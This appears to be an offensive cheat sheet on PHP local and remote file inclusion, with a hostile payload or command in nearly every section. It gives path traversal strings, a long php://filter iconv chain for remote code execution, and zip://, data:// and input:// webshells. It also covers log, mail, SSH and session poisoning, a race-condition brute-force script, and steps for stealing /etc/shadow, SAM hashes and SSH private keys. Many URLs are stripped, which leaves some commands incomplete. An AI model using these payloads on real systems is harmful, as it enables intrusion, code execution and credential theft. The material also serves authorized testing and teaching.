File Inclusion

File Inclusion #

The File Inclusion vulnerability allows an attacker to include a file, usually exploiting a “dynamic file inclusion” mechanisms implemented in the target application.

The Path Traversal vulnerability allows an attacker to access a file, usually exploiting a “reading” mechanism implemented in the target application

Tools #

Basic LFI #

In the following examples we include the /etc/passwd file, check the Directory & Path Traversal chapter for more interesting files.

Null byte #

:warning: In versions of PHP below 5.3.4 we can terminate with null byte.

Double encoding #

UTF-8 encoding #

Path and dot truncation #

On most PHP installations a filename longer than 4096 bytes will be cut off so any excess chars will be thrown away.[ADD MORE]\.\.\.\.\.\.[ADD MORE][ADD MORE][ADD MORE]../../../../etc/passwd

Filter bypass tricks #

Basic RFI #

Most of the filter bypasses from LFI section can be reused for RFI.

Null byte #

Double encoding #

Bypass allow_url_include #

When allow_url_include and allow_url_fopen are set to Off. It is still possible to include a remote file on Windows box using the smb protocol.

  1. Create a share open to everyone
  2. Write a PHP code inside a file : shell.php
  3. Include it\\\share\shell.php

LFI / RFI using wrappers #

Wrapper php://filter #

The part “php://filter” is case insensitive

Wrappers can be chained with a compression wrapper for large files.

NOTE: Wrappers can be chained multiple times using | or /:

  • Multiple base64 decodes: php://filter/convert.base64-decoder|convert.base64-decode|convert.base64-decode/resource=%s
  • deflate then base64encode (useful for limited character exfil): php://filter/zlib.deflate/convert.base64-encode/resource=/var/www/html/index.php
./kadimus -u "" -S -f "index.php%00" -O index.php --parameter page 
curl "" | base64 -d > index.php

Also there is a way to turn the php://filter into a full RCE. Use to generate a custom payload.

# vulnerable file: index.php
# vulnerable parameter: file
# executed command: id
# executed PHP code: <?=`$_GET[0]`;;?>
curl "|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.EUCTW|convert.iconv.L4.UTF8|convert.iconv.IEC_P271.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L7.NAPLPS|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.857.SHIFTJISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.EUCTW|convert.iconv.L4.UTF8|convert.iconv.866.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L3.T.61|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.SJIS.GBK|convert.iconv.L10.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.ISO-IR-111.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.ISO-IR-111.UJIS|convert.iconv.852.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.CP1256.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L7.NAPLPS|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.851.UTF8|convert.iconv.L7.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.CP1133.IBM932|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.851.BIG5|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.1046.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.MAC.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L7.SHIFTJISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.MAC.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.ISO-IR-111.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.ISO6937.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L6.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.SJIS.GBK|convert.iconv.L10.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.857.SHIFTJISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.base64-decode/resource=/etc/passwd"

Wrapper zip:// #

  1. Create an evil payload: echo "<pre><?php system($_GET['cmd']); ?></pre>" > payload.php;
  2. Zip the file
zip payload.php;
mv shell.jpg;
rm payload.php
  1. Upload the archive and access the file using the wrappers:

Wrapper data:// #;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4=
NOTE: the payload is "<?php system($_GET['cmd']);echo 'Shell done !'; ?>"

Fun fact: you can trigger an XSS and bypass the Chrome Auditor with :;base64,PHN2ZyBvbmxvYWQ9YWxlcnQoMSk+

Wrapper expect:// #

Wrapper input:// #

Specify your payload in the POST parameters, this can be done with a simple curl command.

curl -X POST --data "<?php echo shell_exec('id'); ?>" "" -k -v

Alternatively, Kadimus has a module to automate this attack.

./kadimus -u ""  -C '<?php echo shell_exec("id"); ?>' -T input

Wrapper phar:// #

Create a phar file with a serialized object in its meta-data.

// create new Phar
$phar = new Phar('test.phar');
$phar->addFromString('test.txt', 'text');
$phar->setStub('<?php __HALT_COMPILER(); ? >');

// add object of any class as meta data
class AnyClass {}
$object = new AnyClass;
$object->data = 'rips';

If a file operation is now performed on our existing Phar file via the phar:// wrapper, then its serialized meta data is unserialized. If this application has a class named AnyClass and it has the magic method __destruct() or __wakeup() defined, then those methods are automatically invoked

class AnyClass {
    function __destruct() {
        echo $this->data;
// output: rips

NOTE: The unserialize is triggered for the phar:// wrapper in any file operation, file_exists and many more.

LFI to RCE via /proc/*/fd #

  1. Upload a lot of shells (for example : 100)
  2. Include$PID/fd/$FD, with $PID = PID of the process (can be bruteforced) and $FD the filedescriptor (can be bruteforced too)

LFI to RCE via /proc/self/environ #

Like a log file, send the payload in the User-Agent, it will be reflected inside the /proc/self/environ file

GET vulnerable.php?filename=../../../proc/self/environ HTTP/1.1
User-Agent: <?=phpinfo(); ?>

LFI to RCE via upload #

If you can upload a file, just inject the shell payload in it (e.g : <?php system($_GET['c']); ?> ).

In order to keep the file readable it is best to inject into the metadata for the pictures/doc/pdf

LFI to RCE via upload (race) #

Worlds Quitest Let’s Play"

  • Upload a file and trigger a self-inclusion.
  • Repeat 1 a shitload of time to:
  • increase our odds of winning the race
  • increase our guessing odds
  • Bruteforce the inclusion of /tmp/[0-9a-zA-Z]{6}
  • Enjoy our shell.
import itertools
import requests
import sys

print('[+] Trying to win the race')
f = {'file': open('shell.php', 'rb')}
for _ in range(4096 * 4096):'', f)

print('[+] Bruteforcing the inclusion')
for fname in itertools.combinations(string.ascii_letters + string.digits, 6):
    url = '' + fname
    r = requests.get(url)
    if 'load average' in r.text:  # <?php echo system('uptime');
        print('[+] We have got a shell: ' + url)

print('[x] Something went wrong, please try again')

LFI to RCE via upload (FindFirstFile) #

:warning: Only works on Windows

FindFirstFile allows using masks (<< as * and > as ?) in LFI paths on Windows.

  • Upload a file, it should be stored in the temp folder C:\Windows\Temp\.
  • Include it using http://site/vuln.php?inc=c:\windows\temp\php<<

LFI to RCE via phpinfo() #

PHPinfo() displays the content of any variables such as $_GET, $_POST and $_FILES.

By making multiple upload posts to the PHPInfo script, and carefully controlling the reads, it is possible to retrieve the name of the temporary file and make a request to the LFI script specifying the temporary file name.

Use the script (also available at

Research from

LFI to RCE via controlled log file #

Just append your PHP code into the log file by doing a request to the service (Apache, SSH..) and include the log file.

RCE via SSH #

Try to ssh into the box with a PHP code as username <?php system($_GET["cmd"]);?>.

ssh <?php system($_GET["cmd"]);?>@

Then include the SSH log files inside the Web Application.

RCE via Mail #

First send an email using the open SMTP then include the log file located at

root@kali:~# telnet 25
Connected to
Escape character is '^]'.
220 straylight ESMTP Postfix (Debian/GNU)
helo ok
250 straylight
mail from:
250 2.1.0 Ok
rcpt to: root
250 2.1.5 Ok
354 End data with <CR><LF>.<CR><LF>
subject: <?php echo system($_GET["cmd"]); ?>

In some cases you can also send the email with the mail command line.

mail -s "<?php system($_GET['cmd']);?>" www-data@ < /dev/null

RCE via Apache logs #

Poison the User-Agent in access logs:

$ curl -A "<?php system(\$_GET['cmd']);?>"

Note: The logs will escape double quotes so use single quotes for strings in the PHP payload.

Then request the logs via the LFI and execute your command.

$ curl

LFI to RCE via PHP sessions #

Check if the website use PHP Session (PHPSESSID)

Set-Cookie: PHPSESSID=i56kgbsq9rm8ndg3qbarhsbm27; path=/
Set-Cookie: user=admin; expires=Mon, 13-Aug-2018 20:21:29 GMT; path=/; httponly

In PHP these sessions are stored into /var/lib/php5/sess_[PHPSESSID] or /var/lib/php/session/sess_[PHPSESSID] files


Set the cookie to <?php system('cat /etc/passwd');?>

login=1&user=<?php system("cat /etc/passwd");?>&pass=password&lang=en_us.php

Use the LFI to include the PHP session file


LFI to RCE via credentials files #

This method require high privileges inside the application in order to read the sensitive files.

Windows version #

First extract sam and system files.

Then extract hashes from these files samdump2 SYSTEM SAM > hashes.txt, and crack them with hashcat/john or replay them using the Pass The Hash technique.

Linux version #

First extract /etc/shadow files.

Then crack the hashes inside in order to login via SSH on the machine.

Another way to gain SSH access to a Linux machine through LFI is by reading the private key file, id_rsa. If SSH is active check which user is being used /proc/self/status and /etc/passwd and try to access /<HOME>/.ssh/id_rsa.

References #